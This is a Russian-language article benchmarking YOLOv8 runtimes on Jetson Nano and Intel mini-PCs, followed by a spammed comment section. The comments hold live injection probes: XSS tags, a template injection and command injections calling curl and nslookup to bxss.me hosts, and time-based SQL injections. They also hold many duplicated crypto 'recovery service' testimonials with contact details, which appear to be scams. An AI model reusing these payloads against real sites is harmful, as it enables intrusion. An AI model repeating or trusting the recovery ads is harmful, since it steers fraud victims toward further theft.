Для оптимизации моделей под Nvidia GPU существует специальный рантайм - TensorRT.

Yolo из коробки умеет экспортировать модели в этот формат вместе с квантизацией. Но экспорт модель необходимо на самом Jetson Nano, так как модель экспортированная на другой версии TensorRT может запускаться только на этой версии TensorRT. Версия TensorRT напрямую зависит от версии CUDA, которая зависит от gpu. Максимальная версия CUDA, которую можно установить на Jetson Nano - 10.2. На Google Colab стоит более новая версия CUDA, которая конфликтует с версией TensorRT 8.0.1.6 (установленной на Jetson Nano).

Экспорт модели средствами yolo командой:

yolo export model=yolov8n.pt format=engine batch=1 workspace=1 int8=True data=coco.yaml

приводит Jetson к зависанию.

Затем мы попробовали экспортировать модель в формат onnx без оптимизаций, а затем штатную через утилиту trtexec. Команда экспорта выглядит так:

/usr/src/tensorrt/bin/trtexec --buildOnly --int8 --onnx=yolov8n.onnx --saveEngine=yolov8n.engine

Экспорт прошёл успешно, но время инференса модели стало слишком высоким (> 3000мс). Хотя в логах trtexec пишется про 65 мс:

Логи
[06/13/2024-22:25:10] [I]
[06/13/2024-22:25:10] [I] === Performance summary ===
[06/13/2024-22:25:10] [I] Throughput: 15.0389 qps
[06/13/2024-22:25:10] [I] Latency: min = 66.1836 ms, max = 66.7713 ms, mean = 66.4839 ms, median = 66.4787 ms, percentile(99%) = 66.7713 ms
[06/13/2024-22:25:10] [I] End-to-End Host Latency: min = 66.1941 ms, max = 66.7808 ms, mean = 66.4938 ms, median = 66.4887 ms, percentile(99%) = 66.7808 ms
[06/13/2024-22:25:10] [I] Enqueue Time: min = 5.84814 ms, max = 6.35657 ms, mean = 6.10814 ms, median = 6.11487 ms, percentile(99%) = 6.35657 ms
[06/13/2024-22:25:10] [I] H2D Latency: min = 0.481689 ms, max = 0.487305 ms, mean = 0.484034 ms, median = 0.484131 ms, percentile(99%) = 0.487305 ms
[06/13/2024-22:25:10] [I] GPU Compute Time: min = 65.4216 ms, max = 66.0064 ms, mean = 65.7226 ms, median = 65.7175 ms, percentile(99%) = 66.0064 ms
[06/13/2024-22:25:10] [I] D2H Latency: min = 0.274902 ms, max = 0.281067 ms, mean = 0.277307 ms, median = 0.277222 ms, percentile(99%) = 0.281067 ms
[06/13/2024-22:25:10] [I] Total Host Walltime: 3.12524 s
[06/13/2024-22:25:10] [I] Total GPU Compute Time: 3.08896 s
[06/13/2024-22:25:10] [I] Explanations of the performance metrics are printed in the verbose logs.
[06/13/2024-22:25:10] [I]
&&&& PASSED TensorRT.trtexec [TensorRT v8001] # /usr/src/tensorrt/bin/trtexec --int8 --onnx=yolov8n.onnx --saveEngine=yolov8n.engine
[06/13/2024-22:25:10] [I] [TRT] [MemUsageChange] Init cuBLAS/cuBLASLt: CPU +0, GPU +0, now: CPU 871, GPU 1882 (MiB)

Вывод по Jetson Nano

Максимальная производительность была получена на базовой модели yolov8n.pt, остальные рантаймы и форматы не работают корректно. При этом N модель работает на CUDA с достаточной скоростью (от 10.6 FPS до 14.3 FPS) для решения некоторых задач детекции в реальном времени.

Выводы по рантаймам

Различные рантймы с квантизацией и без неё позволяют значительно увеличить скорость инференса моделей на процессоре. Следующий график демонстрирует соотношение FPS и рантайма.

d59c4d831713222159cd5cc8691ef05d.png

Обработка видеопотока в режиме реального времени на мини ПК с N100 возможна только на основе базовой модели yolov8n и рантаймов OpenVINO, ONNX, NCNN.

Из результатов бенчмарков видно, что OpenVINO работает максимально быстро (~в 5 раз быстрее) базовой модели.
OpenVINO является самым быстрым рантаймом для систем с процессорами Intel. Это рантайм, который надо пробовать в первую очередь, если необходимо ускорить работу модели Yolo на CPU или GPU от Intel.

OpenVINO на GPU

Разработчики OpenVINO заявляют, что рантайм способен ускорить инференс моделей на видеокартах Intel Arc, но проверить это не удалось.

Далее примерно одинаковая производительность у рантаймов NCNN и ONNX. Производительность TFLite значительно не отличается от производительности оригинальной модели.

Соотношение производительности между разными рантаймами на N100 частично соответствует данным с I7-12700H.

ea12fe30dafbd0ed607d4f3cee9f29f6.png

OpenVINO также является самым быстрым форматом. Далее по скорости идёт ONNX (так же, как и на N100). NCNN и TFLite работают примерно с той же скоростью, что и базовая модель. Но NCNN выдаёт практически такой же FPS как и на процессоре N100.

Рантайм

N100

I7

yolov8n_ncnn_int8

9.6

8.1

Далее представлен график метрики mAP(на датасете coco128), в зависимости от рантайма.

b3931e81fdc037a6a47f08c09a0bd14d.png

Из него явно видно, что точность работы модели при экспорте в различные рантаймы с квантизаций уменьшается очень незначительно.

Выводы по выбору модели и железа

Для решения задачи детекции объектов в реальном времени на встраиваемых системах необходимо применять модели на основе yolov8n с квантизацией и оптимизацией. Raspberry PI и Orange PI не способны решить данную задачу даже на оптимизированных моделях с квантизацией в int8. Лучшие результаты по скорости инференса на процессоре были достигнуты на системах с Intel и моделях OpenVINO.

Ресурсов мини ПК с процессором N100 хватает для работы OpenVINO int8 модели на основе N весов.

Jetson Nano способен проводить детекцию в реальном времени на основе модели yolov8n, запущенной на CUDA. При этом другие рантаймы либо не запускаются, либо работают только на процессоре.

Все csv файлы бенчмарков здесь:

https://github.com/ret7020/YoloBenchmarks/tree/master/Analytics

Источник

Теги

ICO

Категория

Новости

Дата

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Финансовые рынки от TradingView
Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon